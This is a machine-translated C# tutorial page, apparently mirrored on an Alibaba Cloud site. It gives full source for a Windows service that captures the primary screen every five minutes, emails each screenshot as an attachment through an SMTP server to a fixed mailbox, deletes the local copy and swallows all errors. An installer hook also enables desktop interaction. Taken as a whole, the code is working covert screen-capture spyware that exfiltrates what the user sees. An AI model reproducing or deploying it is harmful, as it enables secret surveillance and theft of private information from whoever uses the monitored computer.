C # Write windows Services, regularly capture the client's screen and send it to the specified mailbox

Source: Internet
Author: User
Tags mailmessage smtpclient

 

Windows service can regularly capture the client's screen and send it to the specified mailbox. (Refer to some online Code. There is no problem in testing on the XP system)

 

Public partial class Service1: ServiceBase

{

Static DateTime time;

 

[System. Runtime. InteropServices. DllImportAttribute ("gdi32.dll")]

Private static extern bool BitBlt (

IntPtr hdcDest, // handle of the target device

Int nXDest, // X coordinate in the upper left corner of the target object

Int nYDest, // X coordinate in the upper left corner of the target object

Int nWidth, // The width of the rectangle of the target object

Int nHeight, // The length of the rectangle of the target object

IntPtr hdcSrc, // Source Device handle

Int nXSrc, // X coordinate in the upper left corner of the source object

Int nYSrc, // X coordinate in the upper left corner of the source object

System. Int32 dwdrop // The operation value of the grating

);

[System. Runtime. InteropServices. DllImportAttribute ("gdi32.dll")]

Private static extern IntPtr CreateDC (

String lpszDriver, // driver name

String lpszDevice, // device name

String lpszOutput, // useless, can be set to "NULL"

IntPtr lpInitData // any printer data

);

Public Service1 ()

{

InitializeComponent ();

}

 

Protected override void OnStart (string [] args)

{

Time = DateTime. Now;

System. Timers. Timer timer = new System. Timers. Timer (180000 );

Timer. Elapsed + = new System. Timers. ElapsedEventHandler (timer_Elapsed );

Timer. Enabled = true;

Timer. Start ();

}

 

Void timer_Elapsed (object sender, System. Timers. ElapsedEventArgs e)

{

If (DateTime. Now> = time)

{

Time = time. AddMinutes (5 );

SendEmail ();

}

}

 

Private void SendEmail ()

{

Try

{

# Region screen capture

Bitmap MyImage = null;

IntPtr dc1 = CreateDC ("DISPLAY", null, null, (IntPtr) null );

// Create a DC for the monitor

Graphics g1 = Graphics. FromHdc (dc1 );

// Create a new Graphics object by the handle of a specified device

MyImage = new Bitmap (Screen. PrimaryScreen. Bounds. Width, Screen. PrimaryScreen. Bounds. Height, g1 );

// Create a Bitmap object of the same size as the screen size

Graphics g2 = Graphics. FromImage (MyImage );

// Obtain the screen handle

IntPtr dc3 = g1.GetHdc ();

// Obtain the bitmap handle

IntPtr dc2 = g2.GetHdc ();

// Capture the current screen in the image object

BitBlt (dc2, 0, 0, Screen. PrimaryScreen. Bounds. Width, Screen. PrimaryScreen. Bounds. Height, dc3, 0, 0, 13369376 );

// Copy the current screen to the image

G1.ReleaseHdc (dc3 );

// Release the screen handle

G2.ReleaseHdc (dc2 );

// Release the bitmap handle

String dir = Getdir ();

String path = dir + DateTime. Now. ToString ("yyyyMMddHHmmss") + ". jpg ";

WriteLog (path );

MyImage. Save (path, ImageFormat. Jpeg );

# Endregion

 

 

# Region email sending program

SmtpClient mailClient = new SmtpClient ("smtp.qq.com ");

 

// Credentials logs on to the SMTP server for authentication.

 

MailClient. Credentials = new NetworkCredential (qq mailbox, password );

 

// Test@qq.com sender address, test@163.com recipient address

MailMessage message = new MailMessage (new MailAddress ("test@qq.com"), new MailAddress ("test@163.com "));

// Message. Bcc. Add (new MailAddress ("tst@qq.com"); // you can Add multiple recipients.

 

// Message. Body = "Hello Word! "; // Email content

Message. Subject = DateTime. Now. ToString ("yyyyMMddHHmmss"); // Subject

 

// Attachment

Attachment att = new Attachment (path );

Message. Attachments. Add (att); // Add an attachment.

// Send

MailClient. Send (message );

If (File. Exists (path ))

File. Delete (path );

 

# Endregion

}

Catch (Exception e)

{

 

}

}

Private string Getdir ()

{

If (Directory. Exists ("c :\\"))

Return "c :\\";

Else if (Directory. Exists ("d :\\"))

Return "d :\\";

Else if (Directory. Exists ("e :\\"))

Return "e :\\";

Else if (Directory. Exists ("f :\\"))

Return "f :\\";

Else

Return "g :\\";

}

 

Private void WriteLog (string message)

{

String path1 = Getdir () + "\" + DateTime. Now. ToString ("yyyy-MM") + ". txt ";

If (! File. Exists (path1 ))

{

File. CreateText (path1). Close ();

}

Using (FileStream fs = new FileStream (path1, FileMode. Append, FileAccess. Write ))

{

StreamWriter sw = new StreamWriter (fs );

Sw. WriteLine (message );

Sw. Flush ();

Sw. Close ();

Fs. Close ();

}

}

Protected override void OnStop ()

{

 

}

}

 

//// This function is used for windows Service and desktop interaction.

 

Private void serviceinstallerpolicafterinstall (object sender, InstallEventArgs e)

{

Base. OnAfterInstall (e. SavedState );

 

ManagementObject wmiService = null;

ManagementBaseObject InParam = null;

Try

{

WmiService = new ManagementObject (string. Format ("Win32_Service.Name = '{0}'", serviceInstaller1.ServiceName ));

InParam = wmiService. GetMethodParameters ("Change ");

InParam ["Reply topinteract"] = true;

WmiService. InvokeMethod ("Change", InParam, null );

}

Finally

{

If (InParam! = Null)

InParam. Dispose ();

If (wmiService! = Null)

WmiService. Dispose ();

}

}

 

From Pig's column

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.